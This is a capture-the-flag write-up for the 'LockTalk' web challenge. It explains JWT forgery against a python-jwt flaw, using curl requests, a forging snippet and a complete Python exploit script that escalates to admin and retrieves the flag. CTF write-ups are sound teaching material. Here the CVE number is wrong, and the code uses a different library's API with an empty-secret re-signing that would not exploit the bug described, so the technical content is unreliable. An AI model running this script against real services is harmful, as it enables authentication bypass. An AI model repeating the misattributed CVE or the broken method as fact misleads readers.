2024 Cyber Apocalypse: LockTalk

Challenge Information

AttributeDetails
Event2024 Cyber Apocalypse
CategoryWeb
ChallengeLockTalk
DifficultyEasy

Summary

LockTalk is a web challenge exploiting a known vulnerability in python-jwt library version 3.3.3 (CVE affecting versions < 3.3.4). The vulnerability allows forging JWT tokens by adding new claims, bypassing signature verification. The application uses JWT for authentication, and by exploiting this CVE, attackers can forge admin tokens to access restricted functionality and retrieve the flag.


Analysis

Vulnerability Details

Affected Versions: python-jwt < 3.3.4

The vulnerability allows:

  1. Creating new JWT tokens with arbitrary claims
  2. Bypassing signature verification
  3. Escalating privileges by claiming admin role

Challenge Flow

  1. User requests a JWT ticket from /api/v1/get_ticket
  2. The JWT contains user claims (role, username, etc.)
  3. Accessing /api/v1/flag requires admin role
  4. By forging a token with admin claims, access is granted

Solution

Step 1: Obtain a Valid JWT

Request a ticket from the challenge:

Terminal window
curl -s http://target:port//api/v1/get_ticket

Note the double slash (//) - this can help bypass path-based authentication checks.

Response will include a JWT token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoiZXlKdVkyOXQiLCJleHAiOjE3MDU4NTU5Mjl9.xxxx

Step 2: Decode the JWT

Extract the token payload (Base64 decode the middle section):

import base64
import json
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoiZXlKdVkyOXQiLCJleHAiOjE3MDU4NTU5Mjl9.xxxx"
parts = token.split('.')
payload = base64.b64decode(parts[1] + '==') # Add padding if needed
print(json.loads(payload))

Step 3: Exploit CVE-2022-22817 (python-jwt)

The vulnerability in python-jwt 3.3.3 allows adding new claims to tokens. Create a forged token:

import jwt
import json
import sys
# Original token
original_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoiZXlKdVkyOXQiLCJleHAiOjE3MDU4NTU5Mjl9.xxxx"
# Decode without verification (vulnerable library)
payload = jwt.decode(original_token, options={"verify_signature": False})
# Add admin claim
payload['admin'] = True
payload['role'] = 'admin'
# Encode without signature (or with empty secret due to CVE)
forged_token = jwt.encode(payload, "", algorithm="HS256")
print(f"[+] Forged token: {forged_token}")

Step 4: Access Protected Endpoint

Use the forged token to access /api/v1/flag:

Terminal window
curl -s http://target:port/api/v1/flag \
-H "Authorization: Bearer $FORGED_TOKEN"

Step 5: Retrieve the Flag

The server validates the token using the vulnerable library and grants access. The flag is returned in the response.


Complete Exploit Script

#!/usr/bin/env python3
import jwt
import requests
import sys
import json
def exploit_locktalk(target_url):
"""Exploit JWT vulnerability in LockTalk"""
session = requests.Session()
# Step 1: Get a valid JWT ticket
print("[*] Requesting JWT ticket...")
try:
response = session.get(f"{target_url}//api/v1/get_ticket")
original_token = response.json().get('ticket') or response.text.strip()
except:
print("[-] Failed to get ticket")
return None
print(f"[+] Got ticket: {original_token[:50]}...")
# Step 2: Decode and extract payload
print("[*] Decoding JWT payload...")
try:
payload = jwt.decode(original_token, options={"verify_signature": False})
print(f"[+] Original payload: {json.dumps(payload, indent=2)}")
except Exception as e:
print(f"[-] Failed to decode: {e}")
return None
# Step 3: Forge admin token
print("[*] Forging admin token...")
payload['admin'] = True
payload['role'] = 'admin'
payload['user'] = 'admin'
# Re-encode with empty secret (CVE-2022-22817)
try:
forged_token = jwt.encode(payload, "", algorithm="HS256")
print(f"[+] Forged token: {forged_token[:50]}...")
except Exception as e:
print(f"[-] Failed to forge token: {e}")
return None
# Step 4: Access flag endpoint
print("[*] Accessing /api/v1/flag with forged token...")
try:
headers = {"Authorization": f"Bearer {forged_token}"}
response = session.get(f"{target_url}/api/v1/flag", headers=headers)
if 'HTB{' in response.text:
# Extract flag
import re
flag = re.search(r'HTB\{[^}]+\}', response.text)
if flag:
print(f"[+] Flag: {flag.group()}")
return flag.group()
else:
print(f"[-] No flag in response: {response.text[:100]}")
except Exception as e:
print(f"[-] Failed to access flag: {e}")
return None
if __name__ == '__main__':
target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
exploit_locktalk(target)

Key Takeaways

  • JWT libraries have had critical vulnerabilities
  • Empty or weak secrets weaken JWT security
  • Token verification must be enforced
  • Adding new claims to tokens can escalate privileges
  • Supply chain security matters - keep dependencies updated
  • JWT implementation flaws can bypass authentication entirely
  • Always verify JWT signatures with the correct key

Flag: HTB{jwt_t0k3n_f0rg3ry}